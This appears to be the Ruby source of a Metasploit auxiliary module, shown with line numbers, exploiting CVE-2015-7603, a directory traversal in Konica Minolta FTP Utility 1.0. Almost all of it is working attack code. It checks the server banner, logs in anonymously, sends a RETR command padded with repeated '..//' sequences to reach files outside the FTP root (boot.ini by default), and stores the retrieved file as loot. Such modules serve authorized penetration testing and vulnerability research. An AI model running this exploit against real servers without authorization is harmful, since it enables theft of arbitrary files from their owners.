Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::Ftp
8
  include Msf::Auxiliary::Report
9
  include Msf::Auxiliary::Scanner
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'Konica Minolta FTP Utility 1.00 Directory Traversal Information Disclosure',
14
      'Description'    => %q{
15
        This module exploits a directory traversal vulnerability found in Konica Minolta FTP Utility 1.0.
16
        This vulnerability allows an attacker to download arbitrary files from the server by crafting
17
        a RETR command that includes file system traversal strings such as '..//'
18
      },
19
      'Platform'       => 'win',
20
      'Author'         =>
21
        [
22
          'Jay Turla',   # @shipcod3, msf
23
          'James Fitts', # msf
24
          'Brad Wolfe <brad.wolfe[at]gmail.com>', # msf
25
          'shinnai' # initial discovery
26
        ],
27
      'License'        => MSF_LICENSE,
28
      'References'     =>
29
        [
30
          [ 'EDB', '38260'],
31
          [ 'CVE', '2015-7603'],
32
          [ 'URL', 'https://shinnai.altervista.org/exploits/SH-0024-20150922.html']
33
        ],
34
      'DisclosureDate' => '2015-09-22'
35
    ))
36

37
    register_options(
38
      [
39
        OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),
40
        OptString.new('PATH', [ true, "Path to the file to disclose, relative to the root dir.", 'boot.ini'])
41
      ])
42
  end
43

44
  def check_host(ip)
45
    begin
46
      connect
47
      if /FTP Utility FTP server \(Version 1\.00\)/i === banner
48
        return Exploit::CheckCode::Appears
49
      end
50
    ensure
51
      disconnect
52
    end
53

54
    Exploit::CheckCode::Safe
55
  end
56

57
  def run_host(target_host)
58
    begin
59
      # Login anonymously and open the socket that we'll use for data retrieval.
60
      connect_login
61
      sock = data_connect
62
      if sock.nil?
63
        error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; possible invalid response'
64
        print_status(error_msg)
65
        elog(error_msg)
66
      else
67
        file_path = datastore['PATH']
68
        file = ::File.basename(file_path)
69

70
        # make RETR request and store server response message...
71
        retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"
72
        res = send_cmd( ["RETR", retr_cmd])
73

74
        # read the file data from the socket that we opened
75
        # dont assume theres still a sock to read from. Per #7582
76
        if sock.nil?
77
          error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; possible invalid response'
78
          print_status(error_msg)
79
          elog(error_msg)
80
          return
81
        else
82
          # read the file data from the socket that we opened
83
          response_data = sock.read(1024)
84
        end
85

86
        unless response_data
87
          print_error("#{file_path} not found")
88
          return
89
        end
90

91
        if response_data.length == 0 or ! (res =~ /^150/ )
92
          print_status("File (#{file_path})from #{peer} is empty...")
93
          return
94
        end
95

96
        # store file data to loot
97
        loot_file = store_loot("konica.ftp.data", "text", rhost, response_data, file, file_path)
98
        vprint_status("Data returned:\n")
99
        vprint_line(response_data)
100
        print_good("Stored #{file_path} to #{loot_file}")
101
      end
102

103
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
104
      vprint_error(e.message)
105
      elog(e)
106
    rescue ::Timeout::Error, ::Errno::EPIPE => e
107
      vprint_error(e.message)
108
      elog(e)
109
    ensure
110
      data_disconnect
111
      disconnect
112
    end
113
  end
114
end
115

116